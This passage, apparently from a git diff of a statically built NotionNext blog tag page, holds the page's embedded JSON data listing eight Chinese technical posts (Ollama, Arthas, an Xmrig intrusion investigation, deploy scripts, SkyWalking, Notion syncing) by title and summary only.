Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"推荐"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"推荐"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。